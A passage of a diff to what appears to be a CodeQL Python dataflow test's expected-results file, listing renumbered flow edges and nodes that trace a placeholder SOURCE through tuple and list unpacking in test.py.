index 2] | +| test.py:595:11:595:47 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 2] | test.py:616:5:616:19 | IterableSequence [Tuple element at index 0, Tuple element at index 2] | +| test.py:595:12:595:17 | ControlFlowNode for SOURCE | test.py:595:12:595:36 | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:595:12:595:17 | ControlFlowNode for SOURCE | test.py:595:31:595:36 | ControlFlowNode for SOURCE | +| test.py:595:12:595:36 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:595:11:595:47 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | +| test.py:595:12:595:36 | ControlFlowNode for Tuple [Tuple element at index 2] | test.py:595:11:595:47 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 2] | +| test.py:595:31:595:36 | ControlFlowNode for SOURCE | test.py:595:12:595:36 | ControlFlowNode for Tuple [Tuple element at index 2] | +| test.py:598:5:598:19 | ControlFlowNode for List [List element, Tuple element at index 0] | test.py:598:6:598:14 | IterableSequence [Tuple element at index 0] | +| test.py:598:5:598:19 | IterableElement [Tuple element at index 0] | test.py:598:5:598:19 | ControlFlowNode for List [List element, Tuple element at index 0] | +| test.py:598:5:598:19 | IterableSequence [Tuple element at index 0, Tuple element at index 0] | test.py:598:5:598:19 | IterableElement [Tuple element at index 0] | +| test.py:598:6:598:14 | ControlFlowNode for List [List element] | test.py:598:7:598:8 | SSA variable a1 | +| test.py:598:6:598:14 | ControlFlowNode for List [List element] | test.py:598:11:598:13 | IterableElement | +| test.py:598:6:598:14 | IterableElement | test.py:598:6:598:14 | ControlFlowNode for List [List element] | +| test.py:598:6:598:14 | IterableSequence [Tuple element at index 0] | test.py:598:6:598:14 | IterableElement | +| test.py:598:7:598:8 | SSA variable a1 | test.py:599:10:599:11 | ControlFlowNode for a1 | +| test.py:598:11:598:13 | IterableElement | test.py:598:11:598:13 | SSA variable a2 [List element] | +| test.py:598:11:598:13 | SSA variable a2 [List element] | test.py:601:12:601:13 | ControlFlowNode for a2 [List element] | +| test.py:598:11:598:13 | SSA variable a2 [List element] | test.py:602:10:602:11 | ControlFlowNode for a2 [List element] | +| test.py:601:12:601:13 | ControlFlowNode for a2 [List element] | test.py:601:12:601:16 | ControlFlowNode for Subscript | +| test.py:602:10:602:11 | ControlFlowNode for a2 [List element] | test.py:602:10:602:14 | ControlFlowNode for Subscript | +| test.py:607:6:607:18 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | test.py:607:7:607:13 | IterableSequence [Tuple element at index 0] | +| test.py:607:6:607:18 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 2] | test.py:607:7:607:13 | IterableSequence [Tuple element at index 2] | +| test.py:607:7:607:8 | SSA variable a1 | test.py:608:10:608:11 | ControlFlowNode for a1 | +| test.py:607:7:607:13 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:607:7:607:8 | SSA variable a1 | +| test.py:607:7:607:13 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:607:11:607:13 | IterableElement | +| test.py:607:7:607:13 | ControlFlowNode for Tuple [Tuple element at index 2] | test.py:607:11:607:13 | IterableElement | +| test.py:607:7:607:13 | IterableSequence [Tuple element at index 0] | test.py:607:7:607:13 | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:607:7:607:13 | IterableSequence [Tuple element at index 2] | test.py:607:7:607:13 | ControlFlowNode for Tuple [Tuple element at index 2] | +| test.py:607:11:607:13 | IterableElement | test.py:607:11:607:13 | SSA variable a2 [List element] | +| test.py:607:11:607:13 | SSA variable a2 [List element] | test.py:610:12:610:13 | ControlFlowNode for a2 [List element] | +| test.py:607:11:607:13 | SSA variable a2 [List element] | test.py:611:10:611:11 | ControlFlowNode for a2 [List element] | +| test.py:610:12:610:13 | ControlFlowNode for a2 [List element] | test.py:610:12:610:16 | ControlFlowNode for Subscript | +| test.py:611:10:611:11 | ControlFlowNode for a2 [List element] | test.py:611:10:611:14 | ControlFlowNode for Subscript | +| test.py:616:5:616:19 | ControlFlowNode for List [List element, Tuple element at index 0] | test.py:616:7:616:13 | IterableSequence [Tuple element at index 0] | +| test.py:616:5:616:19 | ControlFlowNode for List [List element, Tuple element at index 2] | test.py:616:7:616:13 | IterableSequence [Tuple element at index 2] | +| test.py:616:5:616:19 | IterableElement [Tuple element at index 0] | test.py:616:5:616:19 | ControlFlowNode for List [List element, Tuple element at index 0] | +| test.py:616:5:616:19 | IterableElement [Tuple element at index 2] | test.py:616:5:616:19 | ControlFlowNode for List [List element, Tuple element at index 2] | +| test.py:616:5:616:19 | IterableSequence [Tuple element at index 0, Tuple element at index 0] | test.py:616:5:616:19 | IterableElement [Tuple element at index 0] | +| test.py:616:5:616:19 | IterableSequence [Tuple element at index 0, Tuple element at index 2] | test.py:616:5:616:19 | IterableElement [Tuple element at index 2] | +| test.py:616:7:616:8 | SSA variable a1 | test.py:617:10:617:11 | ControlFlowNode for a1 | +| test.py:616:7:616:13 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:616:7:616:8 | SSA variable a1 | +| test.py:616:7:616:13 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:616:11:616:13 | IterableElement | +| test.py:616:7:616:13 | ControlFlowNode for Tuple [Tuple element at index 2] | test.py:616:11:616:13 | IterableElement | +| test.py:616:7:616:13 | IterableSequence [Tuple element at index 0] | test.py:616:7:616:13 | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:616:7:616:13 | IterableSequence [Tuple element at index 2] | test.py:616:7:616:13 | ControlFlowNode for Tuple [Tuple element at index 2] | +| test.py:616:11:616:13 | IterableElement | test.py:616:11:616:13 | SSA variable a2 [List element] | +| test.py:616:11:616:13 | SSA variable a2 [List element] | test.py:619:12:619:13 | ControlFlowNode for a2 [List element] | +| test.py:616:11:616:13 | SSA variable a2 [List element] | test.py:620:10:620:11 | ControlFlowNode for a2 [List element] | +| test.py:619:12:619:13 | ControlFlowNode for a2 [List element] | test.py:619:12:619:16 | ControlFlowNode for Subscript | +| test.py:620:10:620:11 | ControlFlowNode for a2 [List element] | test.py:620:10:620:14 | ControlFlowNode for Subscript | +| test.py:625:6:625:14 | ControlFlowNode for List [List element] | test.py:625:7:625:8 | SSA variable a1 | +| test.py:625:6:625:14 | ControlFlowNode for List [List element] | test.py:625:11:625:13 | IterableElement | +| test.py:625:6:625:14 | IterableElement | test.py:625:6:625:14 | ControlFlowNode for List [List element] | +| test.py:625:6:625:14 | IterableSequence [Tuple element at index 0] | test.py:625:6:625:14 | IterableElement | +| test.py:625:6:625:18 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | test.py:625:6:625:14 | IterableSequence [Tuple element at index 0] | +| test.py:625:7:625:8 | SSA variable a1 | test.py:626:10:626:11 | ControlFlowNode for a1 | +| test.py:625:11:625:13 | IterableElement | test.py:625:11:625:13 | SSA variable a2 [List element] | +| test.py:625:11:625:13 | SSA variable a2 [List element] | test.py:628:12:628:13 | ControlFlowNode for a2 [List element] | +| test.py:625:11:625:13 | SSA variable a2 [List element] | test.py:629:10:629:11 | ControlFlowNode for a2 [List element] | +| test.py:628:12:628:13 | ControlFlowNode for a2 [List element] | test.py:628:12:628:16 | ControlFlowNode for Subscript | +| test.py:629:10:629:11 | ControlFlowNode for a2 [List element] | test.py:629:10:629:14 | ControlFlowNode for Subscript | +| test.py:636:19:636:24 | ControlFlowNode for SOURCE | test.py:637:10:637:10 | ControlFlowNode for a | +| test.py:728:16:728:21 | ControlFlowNode for SOURCE | test.py:731:10:731:36 | ControlFlowNode for return_from_inner_scope() | nodes | datamodel.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module datamodel | semmle.label | ModuleVariableNode for Global Variable SOURCE in Module datamodel | | datamodel.py:13:1:13:6 | GSSA Variable SOURCE | semmle.label | GSSA Variable SOURCE | @@ -486,213 +488,215 @@ nodes | test.py:199:34:199:39 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | | test.py:200:10:200:10 | ControlFlowNode for x [List element] | semmle.label | ControlFlowNode for x [List element] | | test.py:200:10:200:13 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript | -| test.py:342:10:342:21 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript | -| test.py:342:11:342:16 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | -| test.py:342:11:342:17 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | -| test.py:346:10:346:17 | ControlFlowNode for List [List element] | semmle.label | ControlFlowNode for List [List element] | -| test.py:346:10:346:20 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript | -| test.py:346:11:346:16 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | -| test.py:350:10:350:22 | ControlFlowNode for Dict [Dictionary element at key s] | semmle.label | ControlFlowNode for Dict [Dictionary element at key s] | -| test.py:350:10:350:27 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript | -| test.py:350:16:350:21 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | -| test.py:373:10:373:34 | ControlFlowNode for second() | semmle.label | ControlFlowNode for second() | -| test.py:373:28:373:33 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | -| test.py:381:10:381:36 | ControlFlowNode for second() | semmle.label | ControlFlowNode for second() | -| test.py:381:30:381:35 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | -| test.py:389:10:389:43 | ControlFlowNode for second() | semmle.label | ControlFlowNode for second() | -| test.py:389:10:389:43 | KwUnpacked b | semmle.label | KwUnpacked b | -| test.py:389:30:389:42 | ControlFlowNode for Dict [Dictionary element at key b] | semmle.label | ControlFlowNode for Dict [Dictionary element at key b] | -| test.py:389:36:389:41 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | -| test.py:397:10:397:39 | ControlFlowNode for f_extra_pos() | semmle.label | ControlFlowNode for f_extra_pos() | -| test.py:397:10:397:39 | PosOverflowNode for f_extra_pos() [Tuple element at index 0] | semmle.label | PosOverflowNode for f_extra_pos() [Tuple element at index 0] | -| test.py:397:33:397:38 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | -| test.py:405:10:405:45 | ControlFlowNode for f_extra_keyword() | semmle.label | ControlFlowNode for f_extra_keyword() | -| test.py:405:10:405:45 | KwOverflowNode for f_extra_keyword() [Dictionary element at key b] | semmle.label | KwOverflowNode for f_extra_keyword() [Dictionary element at key b] | -| test.py:405:39:405:44 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | -| test.py:426:10:426:15 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | -| test.py:426:10:426:38 | ControlFlowNode for IfExp | semmle.label | ControlFlowNode for IfExp | -| test.py:434:10:434:39 | ControlFlowNode for IfExp | semmle.label | ControlFlowNode for IfExp | -| test.py:434:34:434:39 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | -| test.py:458:10:458:18 | ControlFlowNode for f() | semmle.label | ControlFlowNode for f() | -| test.py:458:12:458:17 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | -| test.py:465:10:465:34 | ControlFlowNode for second() | semmle.label | ControlFlowNode for second() | -| test.py:465:28:465:33 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | -| test.py:479:10:479:36 | ControlFlowNode for second() | semmle.label | ControlFlowNode for second() | -| test.py:479:30:479:35 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | -| test.py:493:10:493:43 | ControlFlowNode for second() | semmle.label | ControlFlowNode for second() | -| test.py:493:10:493:43 | KwUnpacked b | semmle.label | KwUnpacked b | -| test.py:493:30:493:42 | ControlFlowNode for Dict [Dictionary element at key b] | semmle.label | ControlFlowNode for Dict [Dictionary element at key b] | -| test.py:493:36:493:41 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | -| test.py:498:10:498:39 | ControlFlowNode for f_extra_pos() | semmle.label | ControlFlowNode for f_extra_pos() | -| test.py:498:10:498:39 | PosOverflowNode for f_extra_pos() [Tuple element at index 0] | semmle.label | PosOverflowNode for f_extra_pos() [Tuple element at index 0] | -| test.py:498:33:498:38 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | -| test.py:503:10:503:45 | ControlFlowNode for f_extra_keyword() | semmle.label | ControlFlowNode for f_extra_keyword() | -| test.py:503:10:503:45 | KwOverflowNode for f_extra_keyword() [Dictionary element at key b] | semmle.label | KwOverflowNode for f_extra_keyword() [Dictionary element at key b] | -| test.py:503:39:503:44 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | -| test.py:515:9:515:14 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | -| test.py:517:10:517:10 | ControlFlowNode for a | semmle.label | ControlFlowNode for a | -| test.py:522:10:522:10 | ControlFlowNode for b | semmle.label | ControlFlowNode for b | -| test.py:527:10:527:15 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | -| test.py:527:10:527:26 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | -| test.py:528:5:528:5 | SSA variable a | semmle.label | SSA variable a | -| test.py:528:5:528:8 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | -| test.py:529:10:529:10 | ControlFlowNode for a | semmle.label | ControlFlowNode for a | -| test.py:535:10:535:15 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | -| test.py:535:10:535:36 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | -| test.py:535:10:535:36 | ControlFlowNode for Tuple [Tuple element at index 1, Tuple element at index 1] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 1, Tuple element at index 1] | -| test.py:535:19:535:35 | ControlFlowNode for Tuple [Tuple element at index 1] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 1] | -| test.py:535:30:535:35 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | -| test.py:536:5:536:5 | SSA variable a | semmle.label | SSA variable a | -| test.py:536:5:536:13 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | -| test.py:536:5:536:13 | ControlFlowNode for Tuple [Tuple element at index 1, Tuple element at index 1] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 1, Tuple element at index 1] | -| test.py:536:9:536:12 | ControlFlowNode for Tuple [Tuple element at index 1] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 1] | -| test.py:536:9:536:12 | IterableSequence [Tuple element at index 1] | semmle.label | IterableSequence [Tuple element at index 1] | -| test.py:536:12:536:12 | SSA variable c | semmle.label | SSA variable c | -| test.py:537:10:537:10 | ControlFlowNode for a | semmle.label | ControlFlowNode for a | -| test.py:539:10:539:10 | ControlFlowNode for c | semmle.label | ControlFlowNode for c | -| test.py:544:9:544:33 | ControlFlowNode for List [List element, List element, List element, List element] | semmle.label | ControlFlowNode for List [List element, List element, List element, List element] | -| test.py:544:10:544:21 | ControlFlowNode for List [List element, List element, List element] | semmle.label | ControlFlowNode for List [List element, List element, List element] | -| test.py:544:11:544:20 | ControlFlowNode for List [List element, List element] | semmle.label | ControlFlowNode for List [List element, List element] | -| test.py:544:12:544:19 | ControlFlowNode for List [List element] | semmle.label | ControlFlowNode for List [List element] | -| test.py:544:13:544:18 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | -| test.py:545:5:545:11 | ControlFlowNode for List [List element, List element, List element] | semmle.label | ControlFlowNode for List [List element, List element, List element] | -| test.py:545:5:545:11 | IterableElement [List element, List element] | semmle.label | IterableElement [List element, List element] | -| test.py:545:5:545:11 | IterableSequence [List element, List element, List element] | semmle.label | IterableSequence [List element, List element, List element] | -| test.py:545:5:545:14 | ControlFlowNode for Tuple [Tuple element at index 0, List element, List element, List element] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0, List element, List element, List element] | -| test.py:545:5:545:14 | IterableElement [List element, List element, List element] | semmle.label | IterableElement [List element, List element, List element] | -| test.py:545:5:545:14 | IterableSequence [List element, List element, List element, List element] | semmle.label | IterableSequence [List element, List element, List element, List element] | -| test.py:545:6:545:10 | ControlFlowNode for List [List element, List element] | semmle.label | ControlFlowNode for List [List element, List element] | -| test.py:545:6:545:10 | IterableElement [List element] | semmle.label | IterableElement [List element] | -| test.py:545:6:545:10 | IterableSequence [List element, List element] | semmle.label | IterableSequence [List element, List element] | -| test.py:545:7:545:9 | ControlFlowNode for List [List element] | semmle.label | ControlFlowNode for List [List element] | -| test.py:545:7:545:9 | IterableElement | semmle.label | IterableElement | -| test.py:545:7:545:9 | IterableSequence [List element] | semmle.label | IterableSequence [List element] | -| test.py:545:8:545:8 | SSA variable a | semmle.label | SSA variable a | -| test.py:546:10:546:10 | ControlFlowNode for a | semmle.label | ControlFlowNode for a | -| test.py:552:10:552:15 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | -| test.py:552:10:552:34 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | -| test.py:552:10:552:34 | ControlFlowNode for Tuple [Tuple element at index 1] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 1] | -| test.py:552:18:552:23 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | -| test.py:553:5:553:5 | SSA variable a | semmle.label | SSA variable a | -| test.py:553:5:553:12 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | -| test.py:553:5:553:12 | ControlFlowNode for Tuple [Tuple element at index 1] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 1] | -| test.py:553:8:553:9 | IterableElement | semmle.label | IterableElement | -| test.py:553:8:553:9 | SSA variable b [List element] | semmle.label | SSA variable b [List element] | -| test.py:554:10:554:10 | ControlFlowNode for a | semmle.label | ControlFlowNode for a | -| test.py:556:10:556:10 | ControlFlowNode for b [List element] | semmle.label | ControlFlowNode for b [List element] | -| test.py:556:10:556:13 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript | -| test.py:562:10:562:61 | ControlFlowNode for List [List element, List element] | semmle.label | ControlFlowNode for List [List element, List element] | -| test.py:562:11:562:37 | ControlFlowNode for List [List element] | semmle.label | ControlFlowNode for List [List element] | -| test.py:562:12:562:17 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | -| test.py:562:31:562:36 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | -| test.py:562:40:562:47 | ControlFlowNode for List [List element] | semmle.label | ControlFlowNode for List [List element] | -| test.py:562:41:562:46 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | -| test.py:565:6:565:23 | ControlFlowNode for Tuple [Tuple element at index 0, List element] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0, List element] | -| test.py:565:6:565:23 | IterableElement [List element] | semmle.label | IterableElement [List element] | -| test.py:565:6:565:23 | IterableSequence [List element, List element] | semmle.label | IterableSequence [List element, List element] | -| test.py:565:7:565:8 | SSA variable a1 | semmle.label | SSA variable a1 | -| test.py:565:7:565:16 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | -| test.py:565:7:565:16 | ControlFlowNode for Tuple [Tuple element at index 1] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 1] | -| test.py:565:7:565:16 | ControlFlowNode for Tuple [Tuple element at index 2] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 2] | -| test.py:565:7:565:16 | IterableElement | semmle.label | IterableElement | -| test.py:565:7:565:16 | IterableSequence [List element] | semmle.label | IterableSequence [List element] | -| test.py:565:11:565:12 | SSA variable a2 | semmle.label | SSA variable a2 | -| test.py:565:15:565:16 | SSA variable a3 | semmle.label | SSA variable a3 | -| test.py:566:10:566:11 | ControlFlowNode for a1 | semmle.label | ControlFlowNode for a1 | -| test.py:567:12:567:13 | ControlFlowNode for a2 | semmle.label | ControlFlowNode for a2 | -| test.py:568:10:568:11 | ControlFlowNode for a3 | semmle.label | ControlFlowNode for a3 | -| test.py:573:5:573:24 | ControlFlowNode for List [List element, List element] | semmle.label | ControlFlowNode for List [List element, List element] | -| test.py:573:5:573:24 | IterableElement [List element] | semmle.label | IterableElement [List element] | -| test.py:573:5:573:24 | IterableSequence [List element, List element] | semmle.label | IterableSequence [List element, List element] | -| test.py:573:7:573:8 | SSA variable a1 | semmle.label | SSA variable a1 | -| test.py:573:7:573:16 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | -| test.py:573:7:573:16 | ControlFlowNode for Tuple [Tuple element at index 1] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 1] | -| test.py:573:7:573:16 | ControlFlowNode for Tuple [Tuple element at index 2] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 2] | -| test.py:573:7:573:16 | IterableElement | semmle.label | IterableElement | -| test.py:573:7:573:16 | IterableSequence [List element] | semmle.label | IterableSequence [List element] | -| test.py:573:11:573:12 | SSA variable a2 | semmle.label | SSA variable a2 | -| test.py:573:15:573:16 | SSA variable a3 | semmle.label | SSA variable a3 | -| test.py:574:10:574:11 | ControlFlowNode for a1 | semmle.label | ControlFlowNode for a1 | -| test.py:575:12:575:13 | ControlFlowNode for a2 | semmle.label | ControlFlowNode for a2 | -| test.py:576:10:576:11 | ControlFlowNode for a3 | semmle.label | ControlFlowNode for a3 | -| test.py:581:6:581:17 | ControlFlowNode for List [List element] | semmle.label | ControlFlowNode for List [List element] | -| test.py:581:6:581:17 | IterableElement | semmle.label | IterableElement | -| test.py:581:6:581:17 | IterableSequence [List element] | semmle.label | IterableSequence [List element] | -| test.py:581:6:581:23 | ControlFlowNode for Tuple [Tuple element at index 0, List element] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0, List element] | -| test.py:581:6:581:23 | IterableElement [List element] | semmle.label | IterableElement [List element] | -| test.py:581:6:581:23 | IterableSequence [List element, List element] | semmle.label | IterableSequence [List element, List element] | -| test.py:581:7:581:8 | SSA variable a1 | semmle.label | SSA variable a1 | -| test.py:581:11:581:12 | SSA variable a2 | semmle.label | SSA variable a2 | -| test.py:581:15:581:16 | SSA variable a3 | semmle.label | SSA variable a3 | -| test.py:582:10:582:11 | ControlFlowNode for a1 | semmle.label | ControlFlowNode for a1 | -| test.py:583:12:583:13 | ControlFlowNode for a2 | semmle.label | ControlFlowNode for a2 | -| test.py:584:10:584:11 | ControlFlowNode for a3 | semmle.label | ControlFlowNode for a3 | -| test.py:590:11:590:47 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | -| test.py:590:11:590:47 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 2] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 2] | -| test.py:590:12:590:17 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | -| test.py:590:12:590:36 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | -| test.py:590:12:590:36 | ControlFlowNode for Tuple [Tuple element at index 2] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 2] | -| test.py:590:31:590:36 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | -| test.py:593:5:593:19 | ControlFlowNode for List [List element, Tuple element at index 0] | semmle.label | ControlFlowNode for List [List element, Tuple element at index 0] | -| test.py:593:5:593:19 | IterableElement [Tuple element at index 0] | semmle.label | IterableElement [Tuple element at index 0] | -| test.py:593:5:593:19 | IterableSequence [Tuple element at index 0, Tuple element at index 0] | semmle.label | IterableSequence [Tuple element at index 0, Tuple element at index 0] | -| test.py:593:6:593:14 | ControlFlowNode for List [List element] | semmle.label | ControlFlowNode for List [List element] | -| test.py:593:6:593:14 | IterableElement | semmle.label | IterableElement | -| test.py:593:6:593:14 | IterableSequence [Tuple element at index 0] | semmle.label | IterableSequence [Tuple element at index 0] | -| test.py:593:7:593:8 | SSA variable a1 | semmle.label | SSA variable a1 | -| test.py:593:11:593:13 | IterableElement | semmle.label | IterableElement | -| test.py:593:11:593:13 | SSA variable a2 [List element] | semmle.label | SSA variable a2 [List element] | -| test.py:594:10:594:11 | ControlFlowNode for a1 | semmle.label | ControlFlowNode for a1 | -| test.py:596:12:596:13 | ControlFlowNode for a2 [List element] | semmle.label | ControlFlowNode for a2 [List element] | -| test.py:596:12:596:16 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript | -| test.py:597:10:597:11 | ControlFlowNode for a2 [List element] | semmle.label | ControlFlowNode for a2 [List element] | -| test.py:597:10:597:14 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript | -| test.py:602:6:602:18 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | -| test.py:602:6:602:18 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 2] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 2] | -| test.py:602:7:602:8 | SSA variable a1 | semmle.label | SSA variable a1 | -| test.py:602:7:602:13 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | -| test.py:602:7:602:13 | ControlFlowNode for Tuple [Tuple element at index 2] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 2] | -| test.py:602:7:602:13 | IterableSequence [Tuple element at index 0] | semmle.label | IterableSequence [Tuple element at index 0] | -| test.py:602:7:602:13 | IterableSequence [Tuple element at index 2] | semmle.label | IterableSequence [Tuple element at index 2] | -| test.py:602:11:602:13 | IterableElement | semmle.label | IterableElement | -| test.py:602:11:602:13 | SSA variable a2 [List element] | semmle.label | SSA variable a2 [List element] | -| test.py:603:10:603:11 | ControlFlowNode for a1 | semmle.label | ControlFlowNode for a1 | -| test.py:605:12:605:13 | ControlFlowNode for a2 [List element] | semmle.label | ControlFlowNode for a2 [List element] | -| test.py:605:12:605:16 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript | -| test.py:606:10:606:11 | ControlFlowNode for a2 [List element] | semmle.label | ControlFlowNode for a2 [List element] | -| test.py:606:10:606:14 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript | -| test.py:611:5:611:19 | ControlFlowNode for List [List element, Tuple element at index 0] | semmle.label | ControlFlowNode for List [List element, Tuple element at index 0] | -| test.py:611:5:611:19 | ControlFlowNode for List [List element, Tuple element at index 2] | semmle.label | ControlFlowNode for List [List element, Tuple element at index 2] | -| test.py:611:5:611:19 | IterableElement [Tuple element at index 0] | semmle.label | IterableElement [Tuple element at index 0] | -| test.py:611:5:611:19 | IterableElement [Tuple element at index 2] | semmle.label | IterableElement [Tuple element at index 2] | -| test.py:611:5:611:19 | IterableSequence [Tuple element at index 0, Tuple element at index 0] | semmle.label | IterableSequence [Tuple element at index 0, Tuple element at index 0] | -| test.py:611:5:611:19 | IterableSequence [Tuple element at index 0, Tuple element at index 2] | semmle.label | IterableSequence [Tuple element at index 0, Tuple element at index 2] | -| test.py:611:7:611:8 | SSA variable a1 | semmle.label | SSA variable a1 | -| test.py:611:7:611:13 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | -| test.py:611:7:611:13 | ControlFlowNode for Tuple [Tuple element at index 2] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 2] | -| test.py:611:7:611:13 | IterableSequence [Tuple element at index 0] | semmle.label | IterableSequence [Tuple element at index 0] | -| test.py:611:7:611:13 | IterableSequence [Tuple element at index 2] | semmle.label | IterableSequence [Tuple element at index 2] | -| test.py:611:11:611:13 | IterableElement | semmle.label | IterableElement | -| test.py:611:11:611:13 | SSA variable a2 [List element] | semmle.label | SSA variable a2 [List element] | -| test.py:612:10:612:11 | ControlFlowNode for a1 | semmle.label | ControlFlowNode for a1 | -| test.py:614:12:614:13 | ControlFlowNode for a2 [List element] | semmle.label | ControlFlowNode for a2 [List element] | -| test.py:614:12:614:16 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript | -| test.py:615:10:615:11 | ControlFlowNode for a2 [List element] | semmle.label | ControlFlowNode for a2 [List element] | -| test.py:615:10:615:14 | ControlFlowNode for Subscript | semmle.label | ControlFlowNode for Subscript | -| test.py:620:6:620:14 | ControlFlowNode for List [List element] | semmle.label | ControlFlowNode for List [List element] | -| test.py:620:6:620:14 | IterableElement | semmle.label | IterableElement | -| test.py:620:6:620:14 | IterableSequence [Tuple element at index 0] | semmle.label | IterableSequence [Tuple element at index 0] | -| test.py:620:6:620:18 | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0, Tuple element at index 0] | -| test.py:620:7:620:8 | SSA variable a1 | semmle.label | SSA variable a1 | -| test.py:620:11:620:13 | IterableElement | semmle.label | IterableElement | -| test.py:620:11:620:13 | SSA variable a2 [List element] | semmle.label | SSA variable a2 [List element] | -| test.py:621:10:621:11 | ControlFlowNode for a1 | semmle.label | ControlFlowNode for a1 | -| test.py:623:12:623:13 | ControlFlowNode 